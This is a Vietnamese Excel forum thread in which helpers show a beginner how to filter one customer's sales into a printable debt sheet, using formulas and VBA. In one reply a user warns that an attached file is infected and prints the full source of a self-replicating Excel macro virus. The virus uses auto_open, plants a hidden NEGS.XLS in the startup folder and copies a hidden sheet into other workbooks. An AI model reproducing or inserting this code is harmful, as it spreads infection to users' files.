Xin hướng dẫn trích xuất (lọc) dữ liệu từ 1 sheet sang 1 sheet khác (5 người xem)

Liên hệ QC

Người dùng đang xem chủ đề này

hungtt24

Thành viên mới
Tham gia
12/3/09
Bài viết
19
Được thích
5
Chào cả nhà!
Tình hình là mình có 1 data bán hàng hằng ngày, hàng tháng mình phải in các giao dịch của từng khác hàng ra để đối chiếu công nợ, mình dùng advance filter nhưng không đạt yêu cầu vì:
- advance filter không cho trích dữ liệu qua sheet khác,
- nếu để dữ liệu tại active sheet thì in xấu,
- Khi mình muốn in giao dịch một KH khác thì lại phải làm lại từ đầu, rất phức tạp.
Nhờ cả nhà giúp mình xem có cách nào mình tạo 1 form in, chỉ cần nhập Mã KH vào thì nó tự động liệt kê tất cả các giao dịch trong data ra hay không? khi muốn in KH khác chỉ cần gõ Mã KH khác vào là nó lại tự động.
Thú thật là mình cũng search trên GPE rồi, nhưng mình cần gấp và kiến thức exel của mình thuộc loại newbie nên chả hiểu được nhiều, từ chiều tới giờ ngồi ngẫm hàm index cúa pác @tuan mà chả hiểu được gì :(

Mong mọi người giúp. Xin cảm ơn!
 

File đính kèm

Chào cả nhà!
- advance filter không cho trích dữ liệu qua sheet khác,

mình đọc tới đọc lùi cũng ko thấy mã KH năm ở sheet nào?
bạn mô tả rỏ lại muốn lấy data ở sheet nào qua sheet nào?
còn advance filter, bạn có thể lọc qua sheet khác bằng cách
ở sheet "in cong no" bạn chọn advance filter, ở list range bạn chọn data ở sheet mà bạn muốn lọc
nếu mình nhớ không lầm thì excel 2003 ko làm được việc này,
 
mình đọc tới đọc lùi cũng ko thấy mã KH năm ở sheet nào?
bạn mô tả rỏ lại muốn lấy data ở sheet nào qua sheet nào?
còn advance filter, bạn có thể lọc qua sheet khác bằng cách
ở sheet "in cong no" bạn chọn advance filter, ở list range bạn chọn data ở sheet mà bạn muốn lọc
nếu mình nhớ không lầm thì excel 2003 ko làm được việc này,
Xin lỗi anh, mã KH là Mã ĐL :(
Còn 2 ý ở dưới nữa mà, in 100 KH thì cứ click ad filter chắc em chết :(
 
Xin lỗi anh, mã KH là Mã ĐL :(
Còn 2 ý ở dưới nữa mà, in 100 KH thì cứ click ad filter chắc em chết :(

bạn thử cách này
ở sheet data tao name
MADL=OFFSET(Data!$C$2;;;COUNTA(Data!$C:$C))
sheet "in no cong"
A7=IFERROR(INDEX(OFFSET(MADL;;COLUMN()-3);SMALL(IF(MADL=$I$3;ROW(MADL)-1);ROW()-6));"")
kết thúc bằng Ctrl Shift Enter (cộng thức mảng)
tuy nhiên số liệu vài trăm dòng thì chắc còn xài được, còn lớn quá thì phải chơi tới VBA quá
 

File đính kèm

Bạn dùng VBA xem....
 

File đính kèm

Lần chỉnh sửa cuối:
File của bạn dính em này nè:
PHP:
'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!
'foxz@usa.net


Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "NEGS.XLS")
    If m$ = "NEGS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("foxz").Visible = True
    Sheets("foxz").Select
    Sheets("foxz").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = "infected by NEG Promo!"
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("foxz").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "foxz" Then
        Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("foxz").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "NEGS.XLS!check_files"
    Case Else
End Select
End Sub
 
Chào cả nhà!
Tình hình là mình có 1 data bán hàng hằng ngày, hàng tháng mình phải in các giao dịch của từng khác hàng ra để đối chiếu công nợ, mình dùng advance filter nhưng không đạt yêu cầu vì:
- advance filter không cho trích dữ liệu qua sheet khác,
- nếu để dữ liệu tại active sheet thì in xấu,
- Khi mình muốn in giao dịch một KH khác thì lại phải làm lại từ đầu, rất phức tạp.
Nhờ cả nhà giúp mình xem có cách nào mình tạo 1 form in, chỉ cần nhập Mã KH vào thì nó tự động liệt kê tất cả các giao dịch trong data ra hay không? khi muốn in KH khác chỉ cần gõ Mã KH khác vào là nó lại tự động.
Thú thật là mình cũng search trên GPE rồi, nhưng mình cần gấp và kiến thức exel của mình thuộc loại newbie nên chả hiểu được nhiều, từ chiều tới giờ ngồi ngẫm hàm index cúa pác @tuan mà chả hiểu được gì :(

Mong mọi người giúp. Xin cảm ơn!
Thử file này xem sao, thêm dòng TOTAL để khỏi "hỏi" thêm. Hổng chịu thì dễ hơn.
 

File đính kèm

lâu rùi ko viết vba, thử lại xem còn xài được ko

Private Sub Worksheet_Change(ByVal Target As Range)
Application.ScreenUpdating = False
On Error GoTo Enhandler:
Application.EnableEvents = False


If Not Intersect(Target, [I3]) Is Nothing Then
Rows("6:200").Delete
Sheets("Data").[a1:L1000].AutoFilter Field:=3, Criteria1:=Sheet1.[I3]
Sheets("Data").[a1:L1000].Copy Sheet1.[a6]
End If


Enhandler:
Application.EnableEvents = True
Application.ScreenUpdating = True


End Sub
 

File đính kèm

lâu rùi ko viết vba, thử lại xem còn xài được ko

Private Sub Worksheet_Change(ByVal Target As Range)
Application.ScreenUpdating = False
On Error GoTo Enhandler:
Application.EnableEvents = False


If Not Intersect(Target, [I3]) Is Nothing Then
Rows("6:200").Delete
Sheets("Data").[a1:L1000].AutoFilter Field:=3, Criteria1:=Sheet1.[I3]
Sheets("Data").[a1:L1000].Copy Sheet1.[a6]
End If


Enhandler:
Application.EnableEvents = True
Application.ScreenUpdating = True


End Sub
file của anh hay lắm, nhưng sao em thực hành trên sheet in công nợ thì bên sheet data nó cũng filter luôn, có cách nào làm làm bên sheet IN mà không ảnh hưởng bên sheet data không anh?
 
Thử file này xem sao, thêm dòng TOTAL để khỏi "hỏi" thêm. Hổng chịu thì dễ hơn.
Ôi, tuyệt quá anh ơi. Nhờ đúng người có khác.--=0
Tuyệt vời ông mặt giời luôn :)

Có gì phát sinh em nhờ anh nữa nhé, anh ở AG mà huyện nào vậy hay ở LX, hôm nào em đi qua em mời anh ly cf hậu tạ và học hỏi thêm nhé :)}}}}}
 
Lần chỉnh sửa cuối:
Ôi, tuyệt quá anh ơi. Nhờ đúng người có khác.--=0
Tuyệt vời ông mặt giời luôn :)

Có gì phát sinh em nhờ anh nữa nhé, anh ở AG mà huyện nào vậy hay ở LX, hôm nào em đi qua em mời anh ly cf hậu tạ và học hỏi thêm nhé :)}}}}}
Tui ở Chợ Mới, "quê mùa" lắm. Nếu có qua Chợ Mới thì Ô la.
Nếu bạn cũng ở AG thì liên lạc qua tin nhắn riêng nhé. Trao đổi ở đây là Spam đó.
Híc!
 
Em ở Cần Thơ, thỉnh thoảng cũng đi AG công tác.
Anh ơi, làm sao edit cái combo box được anh? data của em nhiều khách hàng lắm, anh làm cái combo box có mấy Mã KH thôi.
 
Em ở Cần Thơ, thỉnh thoảng cũng đi AG công tác.
Anh ơi, làm sao edit cái combo box được anh? data của em nhiều khách hàng lắm, anh làm cái combo box có mấy Mã KH thôi.
1/ Hổng biết cái Combo Box là chỗ nào? Hay bạn nói ô I3 sheet In Cong No? Nó là Data-Validation.
2/ Bạn có thử nhập thêm Mã Đại lý vào cột B sheet DS Khach Hang chưa mà hỏi vậy? Nhớ nhập thêm liên tục không bỏ dòng trống rồi xem ô I3 có cập nhật thêm không? Khi làm Validation tôi đã dự kiến trước cho bạn rồi.
 
1/ Hổng biết cái Combo Box là chỗ nào? Hay bạn nói ô I3 sheet In Cong No? Nó là Data-Validation.
2/ Bạn có thử nhập thêm Mã Đại lý vào cột B sheet DS Khach Hang chưa mà hỏi vậy? Nhớ nhập thêm liên tục không bỏ dòng trống rồi xem ô I3 có cập nhật thêm không? Khi làm Validation tôi đã dự kiến trước cho bạn rồi.
OK, chạy ngon rồi anh, cám ơn anh!
Cái này là anh dùng VBA viết à? hay chức exel nó có sẵn? anh hướng dẫn em làm được không?
 
anh ơi, sao khi em chèn vào phía trên vài dòng để ghi tên doanh nghiẹp thì nó không chạy nữa :(
Anh chèn giúp em 4 dòng vào phía trên nhé :)
"Chời đất"! Code viết theo cấu trúc file chớ đâu có biết tự thay đổi khi bạn chèn thêm dòng cột.
Chèn dòng cột trong các sheet "cho đã" đi rồi đưa file giống thật lên để làm 1 lần, sao từ đầu lại không chuẩn bị cấu trúc dữ liệu cho giống như thật?
"Khổ" với bạn "gồi", Híc!
 
"Chời đất"! Code viết theo cấu trúc file chớ đâu có biết tự thay đổi khi bạn chèn thêm dòng cột.
Chèn dòng cột trong các sheet "cho đã" đi rồi đưa file giống thật lên để làm 1 lần, sao từ đầu lại không chuẩn bị cấu trúc dữ liệu cho giống như thật?
"Khổ" với bạn "gồi", Híc!
Dạ, về cấu trúc thì OK rồi anh, anh chèn thêm giùm em 4 dòng nữa vào bên trên sheet IN là ok rồi.
Hic tại em gà dzụ này quá mà :(
Phiền anh quá :(
 
Dạ, về cấu trúc thì OK rồi anh, anh chèn thêm giùm em 4 dòng nữa vào bên trên sheet IN là ok rồi.
Hic tại em gà dzụ này quá mà :(
Phiền anh quá :(
Vậy thì tôi hướng dẫn bạn tự làm cho bớt "gà" nhé.
1/ Chèn thêm bên trên sheet In Cong No 4 dòng nữa.
2/ Xem lại dòng tiêu đề STT, Ngày.... phải dòng 10 không.
3/ Nếu đúng dòng 10 thì ấn Alt + F11, Kích đúp vào Module1.
4/ Tìm trong Sub GPE888 mấy dòng giống như vầy:
With .[A7]
.Resize(1000, C).ClearContents
.Resize(1000, C).Borders.LineStyle = xlNone
.Resize(1000, C).Interior.ColorIndex = 0
Sửa [A7] thành [A11]
Xong, cho Sub chạy thử. Hổng được thì "la lên".
 
Web KT

Bài viết mới nhất

Back
Top Bottom